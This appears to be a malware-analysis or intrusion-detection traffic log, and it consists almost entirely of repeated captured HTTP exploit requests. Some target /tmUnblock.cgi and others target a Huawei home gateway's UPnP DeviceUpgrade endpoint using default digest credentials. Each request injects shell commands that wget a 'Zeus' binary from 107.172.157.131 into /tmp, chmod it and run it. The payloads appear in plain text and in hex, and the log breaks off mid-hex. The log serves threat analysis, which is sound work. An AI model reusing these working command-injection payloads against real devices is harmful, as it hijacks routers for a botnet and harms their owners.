Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 